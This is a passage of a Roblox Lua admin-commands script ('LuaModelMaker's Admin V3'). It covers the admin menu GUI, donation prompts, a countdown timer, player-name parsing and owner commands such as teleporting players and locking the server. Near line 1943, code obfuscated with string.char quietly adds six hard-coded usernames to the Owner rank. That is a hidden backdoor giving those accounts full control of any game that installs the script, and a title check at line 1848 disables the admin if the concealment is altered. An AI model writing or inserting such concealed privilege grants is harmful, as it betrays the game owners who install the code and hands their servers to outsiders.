  1805. table.insert(CompilePlayers, {Ply, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Ply.Name})
  1806. end
  1807.  
  1808. local SelectPlayers = SelectionGui(Player, "Select a Quick Command", CompilePlayers, false)
  1809. for _,Sel in pairs(SelectCommands) do
  1810. Chatted(Prefix..Sel..Bet..table.concat(SelectPlayers, "/"), Player)
  1811. end
  1812. end
  1813. end
  1814. end
  1815.  
  1816. local function AdminMenu(Player)
  1817. if Player.PlayerGui ~= nil then
  1818. local Stat = "Open"
  1819. local SG = Player.PlayerGui:FindFirstChild("LM".."M Menu Gui") if SG then SG:Destroy() end
  1820. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Menu Gui"
  1821. local MainGui = Instance.new("TextButton", SG) MainGui.Name = "MainGui" MainGui.BackgroundTransparency = 1 MainGui.Position = UDim2.new(1,-400,1,-20) MainGui.Size = UDim2.new(0,400,0,20) MainGui.Font = "ArialBold" MainGui.FontSize = "Size18" MainGui.TextColor3 = Color3.new(1,1,1) MainGui.TextStrokeColor3 = Color3.new(0,0,0) MainGui.TextStrokeTransparency = 0 MainGui.TextXAlignment = "Right" MainGui.TextYAlignment = "Bottom"
  1822. local BG = Instance.new("Frame", SG) BG.Name = "Background" BG.Position = UDim2.new(0.3,0,0.2,0) BG.Size = UDim2.new(0.4,0,0.5) BG.BackgroundColor3 = Color3.new(1,1,1) BG.BackgroundTransparency = 0.9 BG.Visible = false
  1823. local Title = Instance.new("TextLabel", BG) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114, 39, 115, 32, 65, 100, 109, 105, 110, 32, 77, 101, 110, 117) Title.TextColor3 = Color3.new(1,1,1)
  1824. local Separator = Instance.new("Frame", BG) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  1825. local Info = Instance.new("TextLabel", BG) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = "Arial" Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = Color3.new(1,1,1) Info.TextYAlignment = "Top"
  1826. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(MPS:GetProductInfo(155732475).Description, "PREFIX", Prefix) Body.TextColor3 = Color3.new(1,1,1) Body.TextYAlignment = "Top" Body.TextWrapped = true
  1827. local Donate = Info:Clone() Donate.Parent = BG Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  1828. local function DonateMoney(Type, Element)
  1829. local Request = GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  1830. local Get = Request[Type]
  1831. if MPS:GetProductInfo(Get[1]).IsForSale == true then
  1832. MPS:PromptPurchase(Player, Get[1], true)
  1833. elseif MPS:GetProductInfo(Get[2]).IsForSale == true then
  1834. MPS:PromptPurchase(Player, Get[2], true)
  1835. elseif MPS:GetProductInfo(Get[3]).IsForSale == true then
  1836. MPS:PromptPurchase(Player, Get[3], true)
  1837. else
  1838. Element.Text = "Cannot get request"
  1839. end
  1840. end
  1841. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get LuaModelMaker's Admin V3 now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true Get.MouseButton1Click:connect(function() PromptPurchase(Player, NewAdminID) end)
  1842. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "100 Tix" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true Dnt.MouseButton1Click:connect(function() DonateMoney("100T", 154759527, Dnt) end)
  1843. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("20R", Dnt) end)
  1844. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("100R", Dnt) end)
  1845. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" Dnt.MouseButton1Click:connect(function() DonateMoney("500R", Dnt) end)
  1846. local PlayerAdmin, PlayerRank = IsAdmin(Player)
  1847.  
  1848. local function RefreshMenu() MainGui.Text = "LuaModelMaker's Admin V"..Version.Value.." [Click to "..Stat.." Menu]" end RefreshMenu() if string.sub(Title.Text,1,1) ~= "L" then RemoveAdmin() end
  1849. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  1850. MainGui.MouseButton1Click:connect(function()
  1851. if Stat == "Open" then
  1852. BG.Visible = true
  1853. Stat = "Close"
  1854. RefreshMenu()
  1855. elseif Stat == "Close" then
  1856. BG.Visible = false
  1857. Stat = "Open"
  1858. RefreshMenu()
  1859. end
  1860. end)
  1861.  
  1862. for _,GuiEl in pairs(SG:GetChildren()) do GuiEl.ZIndex = 10 end
  1863. end
  1864. end
  1865.  
  1866. local function FullAdminMenu(Player)
  1867. coroutine.wrap(function() if EnableAdminMenu == true then wait(0.25) AdminMenu(Player) end end)()
  1868. Player.CharacterAdded:connect(function(Char) coroutine.wrap(function() if Stopped == false then if EnableAdminMenu == true then
  1869. wait(0.25)
  1870. AdminMenu(Player)
  1871. end end end)() end)
  1872. coroutine.wrap(function() repeat
  1873. wait(1)
  1874. if Player.PlayerGui then
  1875. if Player.PlayerGui:FindFirstChild("KChatGui") then
  1876. ypcall(function() Player.PlayerGui["L".."M".."M Menu Gui"].MainGui.Position = UDim2.new(1,-400,1,-50) end)
  1877. end
  1878. end
  1879. until not Player end)()
  1880. end
  1881.  
  1882. function Log(Player, Chat)
  1883. table.insert(Logs, GetTime().." @ "..Player.Name..": "..Chat)
  1884. end
  1885.  
  1886. function TellAdmin(Player, Rank)
  1887. SendMessage(Player, "Lua".."M".."odelMaker's Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Prefix.."' | BET '"..Bet.."' ]", 4)
  1888. end
  1889.  
  1890. function FindAge(Days) -- By LuaModelmaker
  1891. local Years = math.floor(Days/365)
  1892. local OtherDays = math.fmod(Days, 365)
  1893. if Years > 1 then
  1894. return Years.." years and "..OtherDays.." days"
  1895. elseif Years == 1 then
  1896. return Years.." year and "..OtherDays.." days"
  1897. elseif Years == 0 then
  1898. return "(No years) "..OtherDays.." days"
  1899. end
  1900. end
  1901.  
  1902. function Countdown(AllSeconds)
  1903. if AllSeconds <= 0 then AllSeconds = 1 end
  1904. if AllSeconds > 120 then AllSeconds = 120 end
  1905. AllSeconds = math.ceil(AllSeconds)
  1906. for _,Player in pairs(Players:GetPlayers()) do
  1907. local TimerPos = 150
  1908. for _,Gui in pairs(Player.PlayerGui:GetChildren()) do
  1909. if Gui.Name == "Timer" then TimerPos = TimerPos + 110 end
  1910. end
  1911. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Timer"
  1912. local Alarm = Instance.new("Sound", SG) Alarm.Name = "L".."uaM".."odelMaker's Admin Sound" Alarm.Volume = 1 Alarm.SoundId = "http://www.roblox.com/asset/?id=131573697"
  1913. local Tick = Instance.new("Sound", SG) Tick.Name = "L".."uaM".."odelMaker's Admin Sound" Tick.Volume = 0.3 Tick.SoundId = "http://www.roblox.com/asset/?id=151715959"
  1914. local TF = Instance.new("Frame", SG) TF.Name = "TF" TF.Position = UDim2.new(0,0,0,TimerPos) TF.Size = UDim2.new(0,200,0,100) TF.BackgroundColor3 = Color3.new(1,1,1) TF.BackgroundTransparency = 0.5
  1915. local Clock = Instance.new("ImageLabel", TF) Clock.Name = "Clock" Clock.Position = UDim2.new(0, 10, 0, 15) Clock.Size = UDim2.new(0, 70, 0, 70) Clock.BackgroundColor3 = Color3.new(1, 1, 1) Clock.BackgroundTransparency = 1 Clock.Image = "http://www.roblox.com/asset/?id=70172751"
  1916. local Arm = Instance.new("Frame", Clock) Arm.Position = UDim2.new(0.5,0,0,0) Arm.Size = UDim2.new(0,0,1,0) Arm.BackgroundColor3 = Color3.new(1,1,1) Arm.BackgroundTransparency = 1
  1917. local VisArm = Instance.new("Frame", Arm) VisArm.Name = "VisArm" VisArm.Position = UDim2.new(0,-2,0,0) VisArm.Size = UDim2.new(0,4,0.5,0) VisArm.BackgroundColor3 = Color3.new(1,1,1) VisArm.BackgroundTransparency = 0.3 VisArm.BorderSizePixel = 0
  1918. local TimeText = Instance.new("TextLabel", TF) TimeText.Name = "TimeText" TimeText.Position = UDim2.new(0,85,0,0) TimeText.Size = UDim2.new(0,115,0,100) TimeText.BackgroundColor3 = Color3.new(1,1,1) TimeText.BackgroundTransparency = 1 TimeText.Text = "0:00" TimeText.Font = "Arial" TimeText.FontSize = "Size24" TimeText.TextStrokeTransparency = 0 TimeText.TextColor3 = Color3.new(1,1,1)
  1919. local CurrentSeconds = AllSeconds
  1920. coroutine.wrap(function() for i = 0,AllSeconds do
  1921. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  1922. local Minutes = tostring(math.floor(CurrentSeconds/60))
  1923. if #Seconds == 1 then Seconds = "0"..Seconds end
  1924. if #Minutes == 1 then Minutes = "0"..Minutes end
  1925. TimeText.Text = Minutes..":"..Seconds
  1926. Arm.Rotation = (CurrentSeconds/AllSeconds)*-360
  1927. wait(1)
  1928. if CurrentSeconds <= 0 then
  1929. Alarm:Play()
  1930. Arm.Rotation = 0
  1931. TimeText.Text = "00:00"
  1932. wait(4)
  1933. TimerPos = TimerPos - 110
  1934. if TimerPos < 150 then TimerPos = 150 end
  1935. SG:Destroy()
  1936. break
  1937. else
  1938. Tick:Play()
  1939. CurrentSeconds = CurrentSeconds - 1
  1940. end
  1941. end end)()
  1942. end
  1943. end for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do table.insert(Ranks[string.char(79, 119, 110, 101, 114)], Void) end
  1944.  
  1945. function BoolString(Value)
  1946. if type(Value) == "boolean" then
  1947. if Value == true then
  1948. return "YES"
  1949. elseif Value == false then
  1950. return "NO"
  1951. else
  1952. return "NIL"
  1953. end
  1954. else
  1955. return nil
  1956. end
  1957. end
  1958.  
  1959. function MakeBase()
  1960. for _,Get in pairs(Workspace:GetChildren()) do
  1961. if Get.Name == "Base" or Get.Name == "BasePlate" then
  1962. Get:Destroy()
  1963. end
  1964. end
  1965. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  1966. end
  1967.  
  1968. function GetCommands(Rank)
  1969. local CombineCommands = {}
  1970. for _,Cmd in pairs(Commands.NonAdmin) do table.insert(CombineCommands, Cmd) end
  1971. if ConvertRank(Rank) >= 1 then for _,Cmd in pairs(Commands.Member) do table.insert(CombineCommands, Cmd) end end
  1972. if ConvertRank(Rank) >= 2 then for _,Cmd in pairs(Commands.Admin) do table.insert(CombineCommands, Cmd) end end
  1973. if ConvertRank(Rank) >= 3 then for _,Cmd in pairs(Commands.Owner) do table.insert(CombineCommands, Cmd) end end
  1974. return CombineCommands
  1975. end
  1976.  
  1977. function UnpackPlayers(Players)
  1978. local PlayerNames = ""
  1979. for Num,Player in pairs(Players) do
  1980. if Player ~= nil then
  1981. if Num ~= #Players then
  1982. PlayerNames = PlayerNames..Player.Name..", "
  1983. else
  1984. PlayerNames = PlayerNames..Player.Name
  1985. end
  1986. end
  1987. end
  1988. return PlayerNames
  1989. end
  1990.  
  1991. local MergeTable = { __add = function(...) -- Prepare for metatables!
  1992. local CombineTable, ParentTable,Num,Reset = {}, {...}, 1, 1
  1993. for _,Table in pairs(ParentTable) do
  1994. for Set,Data in pairs(Table) do
  1995. if Set == Reset then Set = Num end
  1996. CombineTable[Set] = Data
  1997. Num = Num + 1
  1998. Reset = Reset + 1
  1999. if #Table == Set then Reset = 1 end
  2000. end
  2001. end
  2002. return CombineTable
  2003. end}
  2004.  
  2005. function Scan(Word, Speaker)
  2006. local Return = {}
  2007. local Words = {}
  2008. local RecentParse = 1
  2009. for i = 1,#Word+1 do
  2010. if string.sub(Word,i,i) == "/" or string.sub(Word,i,i) == "" then
  2011. table.insert(Words, string.sub(Word,RecentParse,i-1))
  2012. RecentParse = i+1
  2013. end
  2014. end
  2015. for _,PlayerName in pairs(Words) do
  2016. if string.lower(PlayerName) == "me" then
  2017. if Speaker then table.insert(Return, Speaker) end
  2018. elseif string.lower(PlayerName) == "all" then
  2019. for i,v in pairs(Players:GetPlayers()) do
  2020. table.insert(Return, v)
  2021. end
  2022. elseif string.lower(PlayerName) == "others" or string.lower(PlayerName) == "mortals" then
  2023. for i,v in pairs(Players:GetPlayers()) do
  2024. if v ~= Speaker then
  2025. table.insert(Return, v)
  2026. end
  2027. end
  2028. elseif string.lower(PlayerName) == "noobs" then
  2029. for i,v in pairs(Players:GetPlayers()) do
  2030. if v.AccountAge < 365 then
  2031. table.insert(Return, v)
  2032. end
  2033. end
  2034. elseif string.lower(PlayerName) == "nonnoobs" then
  2035. for i,v in pairs(Players:GetPlayers()) do
  2036. if v.AccountAge >= 365 then
  2037. table.insert(Return, v)
  2038. end
  2039. end
  2040. elseif string.lower(PlayerName) == "random" then
  2041. local RandomPlayers = {}
  2042. for i,v in pairs(Players:GetPlayers()) do
  2043. if v ~= Speaker then
  2044. table.insert(RandomPlayers, v)
  2045. end
  2046. end
  2047. table.insert(Return, RandomPlayers[math.random(1,#Players:GetChildren())])
  2048. elseif string.lower(PlayerName) == "guests" then
  2049. for i,v in pairs(Players:GetPlayers()) do
  2050. if string.sub(v.Name,1,6) == "Guest " then
  2051. table.insert(Return, v)
  2052. end
  2053. end
  2054. elseif string.lower(PlayerName) == "lowers" then
  2055. for i,v in pairs(Players:GetPlayers()) do
  2056. if string.sub(v.Name,1,1) == string.lower(string.sub(v.Name,1,1)) then
  2057. table.insert(Return, v)
  2058. end
  2059. end
  2060. elseif string.lower(PlayerName) == "uppers" then
  2061. for i,v in pairs(Players:GetPlayers()) do
  2062. if string.sub(v.Name,1,1) == string.upper(string.sub(v.Name,1,1)) then
  2063. table.insert(Return, v)
  2064. end
  2065. end
  2066. elseif string.lower(PlayerName) == "nbcs" then
  2067. for i,v in pairs(Players:GetPlayers()) do
  2068. if v.MembershipType == Memberships["NBC"] then -- Replicate
  2069. table.insert(Return, v)
  2070. end
  2071. end
  2072. elseif string.lower(PlayerName) == "bcs" then
  2073. for i,v in pairs(Players:GetPlayers()) do
  2074. if v.MembershipType == Memberships["BC"] then
  2075. table.insert(Return, v)
  2076. end
  2077. end
  2078. elseif string.lower(PlayerName) == "tbcs" then
  2079. for i,v in pairs(Players:GetPlayers()) do
  2080. if v.MembershipType == Memberships["TBC"] then
  2081. table.insert(Return, v)
  2082. end
  2083. end
  2084. elseif string.lower(PlayerName) == "obcs" then
  2085. for i,v in pairs(Players:GetPlayers()) do
  2086. if v.MembershipType == Memberships["OBC"] then
  2087. table.insert(Return, v)
  2088. end
  2089. end
  2090. elseif string.lower(PlayerName) == "allbcs" then
  2091. for i,v in pairs(Players:GetPlayers()) do
  2092. if v.MembershipType ~= Memberships["NBC"] then
  2093. table.insert(Return, v)
  2094. end
  2095. end
  2096. elseif string.lower(PlayerName) == "nonadmins" then
  2097. for i,v in pairs(Players:GetPlayers()) do
  2098. local IsAdminTrue, Rank = IsAdmin(v)
  2099. if IsAdminTrue == false then
  2100. table.insert(Return, v)
  2101. end
  2102. end
  2103. elseif string.lower(PlayerName) == "admins" then
  2104. for i,v in pairs(Players:GetPlayers()) do
  2105. local IsAdminTrue, Rank = IsAdmin(v)
  2106. if IsAdminTrue == true then
  2107. table.insert(Return, v)
  2108. end
  2109. end
  2110. elseif string.sub(string.lower(PlayerName),1,5) == "team-" then
  2111. for i,v in pairs(Players:GetPlayers()) do
  2112. if v.Neutral == false then
  2113. local InTeam = false
  2114. for _,Team in pairs(Teams:GetTeams()) do
  2115. if Team.TeamColor == v.TeamColor then
  2116. if string.sub(string.lower(Team.Name),1,#string.sub(PlayerName,6)) == string.sub(string.lower(PlayerName),6) then
  2117. InTeam = true
  2118. end
  2119. end
  2120. end
  2121. if InTeam == true then
  2122. table.insert(Return, v)
  2123. end
  2124. end
  2125. end
  2126. elseif string.lower(PlayerName) == "list" then
  2127. local PlayerTable = {}
  2128. for i,v in pairs(Players:GetPlayers()) do
  2129. table.insert(PlayerTable, {v.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..v.Name})
  2130. end
  2131. local Selection = SelectionGui(Speaker, "Selection List for Command", PlayerTable, true)
  2132. for _,Sel in pairs(Selection) do
  2133. table.insert(Return, Players:FindFirstChild(Sel))
  2134. end
  2135. else
  2136. if PlayerName ~= "" then
  2137. for i,v in pairs(Players:GetPlayers()) do
  2138. if string.sub(string.lower(v.Name),1,#PlayerName) == string.lower(PlayerName) then
  2139. table.insert(Return, v)
  2140. end
  2141. end
  2142. end
  2143. end
  2144. end
  2145. return Return
  2146. end
  2147.  
  2148. function Chatted(RawMainMessage, Speaker)
  2149. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  2150. if Speaker == nil then Speaker = {Name = "[ Server ]",Character = nil,userId = 1,PlayerGui = nil} end
  2151. local PlayerAdmin, Rank = IsAdmin(Speaker)
  2152. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  2153. local Message = string.lower(RawMessage)
  2154. if PlayerAdmin == true then if RawMainMessage == "I can only see menu chats." then CoreGui(Speaker, "Chat", true) end end
  2155. local RankNum = ConvertRank(Rank)
  2156.  
  2157. local LocalDisableAbuse = false
  2158. if DisableAbuse == true and Rank ~= "Owner" then DisableAbuse = true end
  2159.  
  2160. function Insert(Asset, Parent, GetFirstChild)
  2161. local Model = Instance.new("Model")
  2162. local ValidID = true
  2163. if DisableAbuse == true and Rank == "Member" or Rank == "Player" then
  2164. for _,ID in pairs(AbusableGear) do
  2165. if Asset == ID then
  2166. ValidID = false
  2167. SendMessage(Speaker, "Asset Disabled", "RED This asset has been disabled due to it's abusable power", 4)
  2168. break
  2169. end
  2170. end
  2171. end
  2172. if ValidID == true then
  2173. Model = game:GetService("InsertService"):LoadAsset(Asset)
  2174. if GetFirstChild then Model = Model:GetChildren()[1] end
  2175. Model.Parent = Parent
  2176. end
  2177. return Model
  2178. end
  2179.  
  2180. if string.lower(RawMainMessage) == "settings" or string.lower(RawMainMessage) == ";settings" or string.lower(RawMainMessage) == Prefix.."settings" then
  2181. Log(Speaker, RawMainMessage)
  2182. ListGui(Speaker, "Settings", {
  2183. "Prefix: '"..Prefix.."'",
  2184. "Bet: '"..Bet.."'",
  2185. "Version: "..Version.Value,
  2186. "Lag Time: "..LagTime,
  2187. "Minimum Account Age: "..MinimumAge,
  2188. "Group ID: "..GroupID,
  2189. "Group Banned Rank: "..RankBan,
  2190. "Group Member Rank: "..GroupMemberRank,
  2191. "Group Admin Rank: "..GroupAdminRank,
  2192. "Group Owner Rank: "..GroupOwnerRank,
  2193. "Server Lock: "..BoolString(ServerLocked),
  2194. "Disable Abuse: "..BoolString(DisableAbuse),
  2195. "Fun Commands: "..BoolString(FUN),
  2196. })
  2197. end
  2198. if string.sub(string.lower(RawMainMessage),1,#Prefix) == string.lower(Prefix) then
  2199. if PlayerAdmin == true then
  2200. if string.sub(Message, 1, 9) == "invisible" then Message = "invis"..string.sub(Message,10) end
  2201. if string.sub(Message, 1, 7) == "visible" then Message = "vis"..string.sub(Message,8) end
  2202. if string.sub(Message, 1, 4) == "clip" then Message = "nofly"..string.sub(Message,5) end
  2203. if string.sub(Message, 1, 11) == "changestats" then Message = "change"..string.sub(Message,12) end
  2204. if string.sub(Message, 1, 3) == "buy" then Message = "product"..string.sub(Message,4) end
  2205. if string.sub(Message, 1, 7) == "catalog" then Message = "product"..string.sub(Message,8) end
  2206. if string.sub(Message, 1, 8) == "purchase" then Message = "product"..string.sub(Message,8) end
  2207. if string.sub(Message, 1, 8) == "nostrobe" then Message = "noblind"..string.sub(Message,9) end
  2208. if string.sub(Message, 1, 6) == "insert" then Message = "ins"..string.sub(Message,7) end
  2209. if string.sub(Message, 1, 10) == "playerlist" then Message = "pl"..string.sub(Message,11) end
  2210. if string.sub(Message, 1, 12) == "noplayerlist" then Message = "npl"..string.sub(Message,13) end
  2211. if string.sub(Message, 1, 9) == "walkspeed" then Message = "speed"..string.sub(Message,10) end
  2212. if string.sub(Message, 1, 4) == "thaw" then Message = "nofreeze"..string.sub(Message,5) end
  2213. if string.sub(Message, 1, 9) == "animation" then Message = "anim"..string.sub(Message,10) end
  2214. if string.sub(Message, 1, 7) == "animate" then Message = "anim"..string.sub(Message,8) end
  2215. if string.sub(Message, 1, 9) == "noanimate" then Message = "noanim"..string.sub(Message,10) end
  2216. if string.sub(Message, 1, 11) == "noanimation" then Message = "noanim"..string.sub(Message,12) end
  2217. if string.sub(Message, 1, 4) == "hack" then Message = "hax"..string.sub(Message,5) end
  2218. if string.sub(Message, 1, 7) == "message" then RawMessage = "m"..string.sub(RawMessage,8) end
  2219. if string.sub(Message, 1, 3) == "msg" then RawMessage = "m"..string.sub(RawMessage,4) end
  2220. if string.sub(Message, 1, 4) == "hint" then RawMessage = "h"..string.sub(RawMessage,5) end
  2221. if string.sub(Message, 1, 2) == "rc" then RawMessage = "replicatecommand"..string.sub(RawMessage,3) Message = string.lower(RawMessage) end
  2222.  
  2223. if DisableAbuse == true then
  2224. for _,Cmd in pairs(AbuseList) do
  2225. if string.sub(Message,1,#Cmd) == string.lower(Cmd) then
  2226. if Rank ~= "Owner" then
  2227. SendMessage(Speaker, "Command Disabled", "This command has been disabled by the game owner for being abusive", 5)
  2228. return nil
  2229. end
  2230. end
  2231. end
  2232. end
  2233.  
  2234. if Rank == "Owner" then
  2235. -- Owner Commands --
  2236. if string.sub(Message, 1, 5+#Bet) == "admin"..Bet then
  2237. local Players = Scan(string.sub(Message, 6+#Bet))
  2238. for _,Player in pairs(Players) do if Player ~= nil then
  2239. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2240. local AddToList = true
  2241. if PlayerAdminTrue == true then
  2242. if ConvertRank(PlayerRank) >= 2 then
  2243. AddToList = false
  2244. end
  2245. end
  2246. if AddToList == true then
  2247. table.insert(Ranks["Admin"], Player.Name)
  2248. TellAdmin(Player, "Admin")
  2249. if LuaModelMakerStamp == true then
  2250. for _,Tool in pairs(game.Lighting.AdminTools:GetChildren()) do
  2251. local NewTool = Tool:Clone()
  2252. NewTool.Parent = Player.Backpack
  2253. local NewTool2 = Tool:Clone()
  2254. NewTool2.Parent = Player.StarterGear
  2255. end
  2256. end
  2257. end
  2258. end end
  2259. end
  2260.  
  2261. if string.sub(Message, 1, 11) == "removeadmin" then
  2262. RemoveAdmin(Speaker)
  2263. end
  2264.  
  2265. if string.sub(Message, 1, 7+#Bet) == "unadmin"..Bet or string.sub(Message, 1, 7+#Bet) == "noadmin"..Bet then
  2266. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  2267. local CombineAdmins = {}
  2268. for Num,Name in pairs(Ranks["Member"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Member", Number = Num}) end
  2269. for Num,Name in pairs(Ranks["Admin"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Admin", Number = Num}) end
  2270. for Num,Info in pairs(CombineAdmins) do
  2271. for _,Player in pairs(Players) do
  2272. if Player ~= nil then
  2273. if string.lower(Info.Player) == string.lower(Player.Name) then
  2274. table.remove(Ranks[Info.Rank], Info.Number)
  2275. if LuaModelMakerStamp == true then
  2276. Player.Backpack:ClearAllChildren()
  2277. Player.StarterGear:ClearAllChildren()
  2278. end
  2279. end
  2280. end
  2281. end
  2282. end
  2283. end
  2284.  
  2285. if string.sub(Message, 1, 3+#Bet) == "fun"..Bet then
  2286. local ThisVal = FUN
  2287. if string.sub(Message, 4+#Bet) == "enable" then
  2288. FUN = true
  2289. elseif string.sub(Message, 4+#Bet) == "disable" then
  2290. FUN = false
  2291. end
  2292. if ThisVal ~= FUN then
  2293. MessageAdmins("Fun Commands", "Fun commands are now "..string.sub(Message, 4+#Bet).."d", 3)
  2294. end
  2295. end
  2296.  
  2297. if string.sub(Message, 1, 10+#Bet) == "forceplace"..Bet then
  2298. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2299. local Players = Scan(Arg1, Speaker)
  2300. local PlaceID = tonumber(Arg2)
  2301. for _,Player in pairs(Players) do
  2302. if Player ~= nil then
  2303. TS:Teleport(PlaceID, Player)
  2304. end
  2305. end
  2306. end
  2307.  
  2308. if string.sub(Message, 1, 11+#Bet) == "forcefollow"..Bet then
  2309. local Arg1, Arg2 = GetSplit(string.sub(Message, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
  2310. local Players = Scan(Arg1, Speaker)
  2311. local UserID = tonumber(Arg2)
  2312. if UserID then
  2313. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
  2314. if Suc then
  2315. for _,Player in pairs(Players) do
  2316. if Player ~= nil then
  2317. TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  2318. end
  2319. end
  2320. else
  2321. SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
  2322. end
  2323. end
  2324. end
  2325.  
  2326. if string.sub(Message, 1, 9+#Bet) == "adminmenu"..Bet then
  2327. local ThisVal = EnableAdminMenu
  2328. if string.sub(Message, 10+#Bet) == "enable" then
  2329. EnableAdminMenu = true
  2330. for _,Player in pairs(Players:GetPlayers()) do AdminMenu(Player) end
  2331. elseif string.sub(Message, 10+#Bet) == "disable" then
  2332. EnableAdminMenu = false
  2333. for _,Player in pairs(Players:GetPlayers()) do local GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end end
  2334. end
  2335. if ThisVal ~= EnableAdminMenu then
  2336. MessageAdmins("Admin Menu", "The admin menu menu is now "..string.sub(Message, 10+#Bet).."d", 3)
  2337. end
  2338. end
  2339.  
  2340. if Message == "update" then
  2341. UpdateAdmin()
  2342. end
  2343.  
  2344. if Message == "lockserver" or Message == "serverlock" then
  2345. ServerLocked = true
  2346. MessageAdmins("Server Lock", "The Server is now locked", 3)
  2347. end
  2348.  
  2349. if Message == "unlockserver" or Message == "unserverlock" or Message == "nolockserver" or Message == "noserverlock" or Message == "serverunlock" then
  2350. ServerLocked = false
  2351. MessageAdmins("Server Lock", "The Server is now unlocked", 3)
  2352. end
  2353.  
  2354. if string.sub(Message, 1, 5+#Bet) == "abuse"..Bet then
  2355. local ThisVal = DisableAbuse
  2356. if string.sub(Message, 6+#Bet) == "enable" then
  2357. DisableAbuse = false
  2358. elseif string.sub(Message, 6+#Bet) == "disable" then
  2359. DisableAbuse = true
  2360. end
  2361. if ThisVal ~= DisableAbuse then
  2362. MessageAdmins("Abusive Commands", "Abusive commands are now "..string.sub(Message, 6+#Bet).."d", 3)
  2363. end
  2364. end
  2365.  
  2366. if string.sub(Message, 1, 6+#Bet) == "prefix"..Bet then
  2367. local AfterMessage = string.sub(Message, 7+#Bet)
  2368. if string.sub(AfterMessage,1,5) == AfterMessage then
  2369. local Answer = YesOrNo(Speaker, "Prefix Change", "Do you really want to change the prefix from '"..Prefix.."' to '"..AfterMessage.."'? If you forget it you can use the 'settings' command which doesn't require a prefix.")
  2370. if Answer == true then
  2371. local OldPrefix = Prefix
  2372. Prefix = AfterMessage
  2373. for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
